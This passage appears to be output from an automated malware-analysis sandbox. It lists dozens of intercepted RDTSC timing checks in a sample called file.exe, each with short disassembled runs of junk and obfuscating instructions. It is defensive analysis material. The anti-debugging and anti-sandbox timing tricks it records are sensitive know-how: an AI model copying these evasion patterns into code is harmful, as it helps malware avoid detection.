Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5326A8 second address: 5326FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA1669h 0x00000007 jl 00007F5E60BA1656h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jl 00007F5E60BA165Ch 0x00000015 popad 0x00000016 push edx 0x00000017 jmp 00007F5E60BA165Ch 0x0000001c push ecx 0x0000001d jmp 00007F5E60BA1663h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535C91 second address: 535C97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535C97 second address: 535C9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535C9E second address: 535CD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E60CAC694h 0x00000009 js 00007F5E60CAC686h 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 jmp 00007F5E60CAC695h 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535CD7 second address: 535CDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535CDD second address: 535CF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E60CAC696h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546660 second address: 54667C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA1668h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5405E4 second address: 5405ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5405ED second address: 5405F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5405F1 second address: 540605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F5E60CAC686h 0x0000000e jo 00007F5E60CAC686h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56DDD1 second address: 56DDD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56DDD7 second address: 56DDE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnc 00007F5E60CAC686h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56DDE3 second address: 56DDFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA1663h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56DDFA second address: 56DE07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 ja 00007F5E60CAC686h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56CF4F second address: 56CF53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56CF53 second address: 56CF57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56D0AF second address: 56D0B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56D0B5 second address: 56D0D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jne 00007F5E60CAC68Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 jnc 00007F5E60CAC686h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56D24E second address: 56D252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56D252 second address: 56D256 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56D6B8 second address: 56D6BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56D6BC second address: 56D6DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5E60CAC691h 0x0000000b jl 00007F5E60CAC68Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56D6DB second address: 56D6E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56D6E3 second address: 56D6F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E60CAC690h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56D6F7 second address: 56D709 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA165Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F492 second address: 56F496 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F496 second address: 56F49C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571D26 second address: 571D4E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5E60CAC69Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571D4E second address: 571D53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572012 second address: 572016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572016 second address: 57201C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57201C second address: 572020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720E1 second address: 5720F8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5E60BA1658h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jc 00007F5E60BA1664h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720F8 second address: 5721A6 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5E60CAC686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F5E60CAC688h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D216Ah], edx 0x0000002b push 00000004h 0x0000002d push 00000000h 0x0000002f push ebp 0x00000030 call 00007F5E60CAC688h 0x00000035 pop ebp 0x00000036 mov dword ptr [esp+04h], ebp 0x0000003a add dword ptr [esp+04h], 00000015h 0x00000042 inc ebp 0x00000043 push ebp 0x00000044 ret 0x00000045 pop ebp 0x00000046 ret 0x00000047 mov dx, 09AEh 0x0000004b movzx edx, si 0x0000004e call 00007F5E60CAC689h 0x00000053 push eax 0x00000054 jnp 00007F5E60CAC68Ch 0x0000005a jg 00007F5E60CAC686h 0x00000060 pop eax 0x00000061 push eax 0x00000062 jp 00007F5E60CAC69Ah 0x00000068 mov eax, dword ptr [esp+04h] 0x0000006c pushad 0x0000006d jmp 00007F5E60CAC696h 0x00000072 pushad 0x00000073 jne 00007F5E60CAC686h 0x00000079 push eax 0x0000007a push edx 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5721A6 second address: 5721BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 push eax 0x0000000a jg 00007F5E60BA1656h 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572452 second address: 5724A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC68Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d jng 00007F5E60CAC6A4h 0x00000013 call 00007F5E60CAC697h 0x00000018 mov edx, dword ptr [ebp+122D38B3h] 0x0000001e pop edx 0x0000001f push dword ptr [ebp+122D3514h] 0x00000025 jo 00007F5E60CAC68Ch 0x0000002b mov edx, dword ptr [ebp+122D2039h] 0x00000031 push CFD41F00h 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 push edi 0x0000003a pop edi 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5724A4 second address: 5724C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA1665h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 573CD2 second address: 573CDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F5E60CAC686h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57383A second address: 573851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E60BA1663h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 573851 second address: 573869 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC68Bh 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a pop edi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575696 second address: 57569C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70E6B second address: 4A70E88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC699h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70E88 second address: 4A70E98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E60BA165Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70E98 second address: 4A70E9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70E9C second address: 4A70EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a jmp 00007F5E60BA165Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 mov ebx, esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70EB7 second address: 4A70F18 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F5E60CAC68Ah 0x00000008 xor si, 8A98h 0x0000000d jmp 00007F5E60CAC68Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov ecx, ebx 0x0000001d pushfd 0x0000001e jmp 00007F5E60CAC697h 0x00000023 sbb ecx, 5297E00Eh 0x00000029 jmp 00007F5E60CAC699h 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70F18 second address: 4A70F20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60DB4 second address: 4A60DBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60DBA second address: 4A60DBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA09D8 second address: 4AA0A2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5E60CAC697h 0x00000009 and cx, 9E9Eh 0x0000000e jmp 00007F5E60CAC699h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push esi 0x00000018 jmp 00007F5E60CAC68Ah 0x0000001d mov dword ptr [esp], ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov ah, bh 0x00000025 mov cx, B2E5h 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A400E3 second address: 4A40161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov bl, al 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a call 00007F5E60BA1668h 0x0000000f jmp 00007F5E60BA1662h 0x00000014 pop ecx 0x00000015 popad 0x00000016 mov dword ptr [esp], ebp 0x00000019 jmp 00007F5E60BA1661h 0x0000001e mov ebp, esp 0x00000020 jmp 00007F5E60BA165Eh 0x00000025 push dword ptr [ebp+04h] 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b jmp 00007F5E60BA165Dh 0x00000030 jmp 00007F5E60BA1660h 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40161 second address: 4A401A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC68Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d mov al, 24h 0x0000000f mov ax, dx 0x00000012 popad 0x00000013 push dword ptr [ebp+08h] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov esi, 2A186A8Bh 0x0000001e pushfd 0x0000001f jmp 00007F5E60CAC690h 0x00000024 or si, FA98h 0x00000029 jmp 00007F5E60CAC68Bh 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60B39 second address: 4A60BBB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA1669h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F5E60BA1661h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 pushad 0x00000012 mov edx, esi 0x00000014 mov bx, si 0x00000017 popad 0x00000018 mov ax, 12F1h 0x0000001c popad 0x0000001d mov ebp, esp 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F5E60BA1669h 0x00000026 or cx, 5036h 0x0000002b jmp 00007F5E60BA1661h 0x00000030 popfd 0x00000031 popad 0x00000032 pop ebp 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F5E60BA165Dh 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60BBB second address: 4A60BC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60BC1 second address: 4A60BC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60670 second address: 4A60695 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC699h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov di, CF80h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60695 second address: 4A606D0 instructions: 0x00000000 rdtsc 0x00000002 mov edx, 511063ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F5E60BA1665h 0x0000000e push ecx 0x0000000f pop edi 0x00000010 pop esi 0x00000011 popad 0x00000012 xchg eax, ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F5E60BA1666h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A606D0 second address: 4A606E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E60CAC68Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A606E2 second address: 4A60714 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA165Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F5E60BA1666h 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov dl, EBh 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A603DA second address: 4A603E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A701B4 second address: 4A701FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5E60BA1661h 0x00000009 xor eax, 6491E9E6h 0x0000000f jmp 00007F5E60BA1661h 0x00000014 popfd 0x00000015 call 00007F5E60BA1660h 0x0000001a pop eax 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e pop ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 push ecx 0x00000023 pop edx 0x00000024 mov edx, eax 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA094A second address: 4AA098F instructions: 0x00000000 rdtsc 0x00000002 movzx esi, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push ecx 0x00000009 jmp 00007F5E60CAC690h 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007F5E60CAC690h 0x00000016 mov ebp, esp 0x00000018 jmp 00007F5E60CAC690h 0x0000001d pop ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA098F second address: 4AA09AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA1669h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80246 second address: 4A8024C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8024C second address: 4A80269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E60BA1669h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80269 second address: 4A8026D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8026D second address: 4A8028B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5E60BA1663h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8028B second address: 4A80291 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80291 second address: 4A80295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80295 second address: 4A802BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c movzx esi, bx 0x0000000f jmp 00007F5E60CAC695h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A802BA second address: 4A802D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA1661h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A802D7 second address: 4A802DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A802DB second address: 4A802DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A802DF second address: 4A802E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6059E second address: 4A605C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA1669h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A605C3 second address: 4A605C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A605C7 second address: 4A605CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A605CB second address: 4A605D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A605D1 second address: 4A60606 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F5E60BA1660h 0x00000008 pop ecx 0x00000009 mov cx, bx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5E60BA1668h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60606 second address: 4A60618 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E60CAC68Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60618 second address: 4A6061C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8001B second address: 4A80021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80021 second address: 4A80025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80025 second address: 4A80029 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80029 second address: 4A80069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov edi, 22F2827Ch 0x00000011 pushfd 0x00000012 jmp 00007F5E60BA1665h 0x00000017 sub esi, 2D27A9D6h 0x0000001d jmp 00007F5E60BA1661h 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA000F second address: 4AA0015 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0015 second address: 4AA0019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
